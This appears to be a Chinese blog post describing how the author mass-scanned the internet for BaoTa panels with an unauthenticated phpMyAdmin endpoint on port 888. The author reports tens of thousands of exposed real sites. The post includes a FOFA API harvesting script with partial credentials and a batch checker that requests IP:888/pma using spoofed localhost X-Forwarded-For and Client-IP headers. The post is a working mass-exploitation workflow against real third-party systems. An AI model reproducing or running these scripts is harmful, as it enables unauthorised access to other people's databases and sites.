昨天晚上大概六七点种群里爆出来的消息,,从fofa上面找了几个都不行,以为是假的,,就没太在意,后来不少群友都复现成功,(他们从shodan上面,成功率非常高),遂引起重视
众所周知,腾讯云一直和宝塔面板很配,并且像宝塔面板这种知名度还可以的网站搭建平台,应该会造成比较大的影响,于是开始了挖洞之旅;
最开始的思路是fofa加py脚本,从fofa官方给的api上面直接获取装了宝塔面板的url(脚本在文章末尾会上传,需要fofa的会员),但是发现漏洞的复现成功率很低,很多404(这里确实佩服宝塔工作人员的提醒漏洞修补效率,听说还特地给用户发了短信,算是保住了名誉,国民的网络安全意识也算有所提高),并且fofa上面获取的url太少,每次只能获取100条,遂和群里的前辈大佬猫叔请教,给出了先用SYN扫描器(这里举例:比如说TCP port scann好像是叫这个名字 还有就是 xdedic ip scan 这个或者 zmap 也可以,不过最好不要用 namp ,不是不行,nmap很优秀,只是这里不适用 )扫IP段开发888端口的主机,然后再写个py脚本拼接IP:888/pma,再请求,如果返回状态码 200 则极大可能存在漏洞。这个思路效率比较高,大概七个小时左右,端口扫描器没扫完,扫出来七万多开放888端口的漏洞,然后再放在脚本里筛选下,出来很多很多成功的,不过大多都是些小站,个人博客,个人商城,小公司,游戏平台,视频平台等等,,没咋看,,之后就没啥意思了。这里记录下学习到的知识和欠缺待学习的知识。
学习到的知识:
①主要是挖洞的思路,端口型漏洞,直接用端口扫描器扫IP段就行
②有时候刷漏洞倒没什么意思,学不到什么实在的知识
欠缺的部分:
①这次挖洞,深切感知到知识储备的重要,第一时间知道漏洞之后,直接py写脚本批量跑,学好python确实很重要,以后还需要多加强;
②在将IP解析为域名的时候,需要自己写个爬虫,这倒不难,难得爬下来的东西需要正则匹配获取内容,正则我一直使用的不是很熟练,不过最近很多方面都应用到了,所以一定要强化正则匹配
③有时间还得向前辈请教请教如何批量IP反查域名,不知道是不是我这么用爬虫requests拼接请求,正则匹配获取域名
记录一些不错的通过IP反查域名的网站:
https://site.ip138.com/ 很好用的IP反查域名网站,网上不少网站根本查不出来,就是个幌子
http://stool.chinaz.com/Same/ 其次推荐站长之家,这个就不用说了
https://tools.ipip.net/ipdomain.php 这个网站也非常优秀,IP反查域名准确率高
附上fofa获取网站搭建使用宝塔面板的网站脚本
import requests import json class Client: def __init__(self): self.email = ' ' self.key = ' ' self.base_url = 'https://fofa.so' self.login_url = '/api/v1/info/my' self.search_url = '/api/v1/search/all' self.get_userinfo() def get_userinfo(self): api_full_url = '%s%s' % (self.base_url , self.login_url) param = {'email':'axom','key':'bbedf840c'} //这里得填 fofa VIP 会员账号的 邮箱 和 key res = self.__http_get(api_full_url,param) # print(res.encoding) return res #源代码 return json.loads(res) def get_data(self,query_str,page=1,fields=""): res = self.get_json_data(query_str,page,fields) # print(res) return res #源代码 return json.loads(res) def get_json_data(self,query_str,page=1,fields=""): api_full_url = '%s%s' % (self.base_url,self.search_url) # print(api_full_url) param = {'email':self.email,'key':self.key,'qbase64':'5ZCO5Y+w55m75b2V','page':1,'fields':fields} //这里没改,应该把base64的值也改了 res = self.__http_get(api_full_url,param) # print(res) return res def __http_get(self,url,param): url = '%s?%s' % (url,param) # print(url) try: res = requests.get(url,params=param) # print(res) except: print('出错!!!') return res # # Client() query_str = 'app=宝塔面板' #在此处修改关键词 同时还应修改所对应的base64的值!!!! data = Client().get_data(query_str,page=2,fields="host") a = data.text # a.encode(encoding='utf-8') # print(a) a = json.loads(data.text) #返回的数据被默认转换成了str格式,需要转换为dict(字典)格式!!! s = a['results'] for result in s: print("%s" % (result)) print(len(s)) # by simple
#新思路,通过namp或者其他类的端口扫描器批量扫描IP段,然后在写个脚本访问,看看域名是否存在 import requests import random def random_headers():#生成随机headers user_agent = ['Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.8.1) Gecko/20061010 Firefox/2.0', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0', 'Mozilla/5.0 (Windows; U; Windows NT 5.1 ; x64; en-US; rv:1.9.1b2pre) Gecko/20081026 Firefox/3.1b2pre', 'Opera/10.60 (Windows NT 5.1; U; zh-cn) Presto/2.6.30 Version/10.60', 'Opera/8.01 (J2ME/MIDP; Opera Mini/2.0.4062; en; U; ssr)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14', 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.106 Safari/537.36', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr; rv:1.9.2.4) Gecko/20100523 Firefox/3.6.4 ( .NET CLR 3.5.30729)', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16', 'Mozilla/5.0 (Windows; U; Windows NT 6.0; fr-FR) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5'] UA = random.choice(user_agent) a = str(random.randint(1, 255)) b = str(random.randint(1, 255)) c = str(random.randint(1, 255)) random_XFF = '127.' + a + '.' + b + '.' + c random_CI= '127.' + c + '.' + a + '.' + b headers = { 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 'User-Agent': UA, 'X-Forwarded-For': random_XFF, 'Client-IP':random_CI, 'Accept-Encoding': 'gzip, deflate', 'Accept-Language': 'zh-CN,zh;q=0.8', "Referer": "http://www.baidu.com/", 'Content-Type': 'application/x-www-form-urlencoded'} return headers for line in open('cunhuoip.txt', 'r'): # 打开文件 rs = line.replace(' ', '') # 替换换行符 # print(rs) # 显示替换后的行 # r.encoding = 'utf-8' rs = 'http://' + rs + ':888/pma' try : r = requests.get(url=rs, headers=random_headers(), timeout=5) if (r.status_code == 200): print(rs) file = open('result.txt', mode='w') file.write(rs) file.write(' ') # 将回车写入txt文件中 else: print('not okk ') except: print('error!!')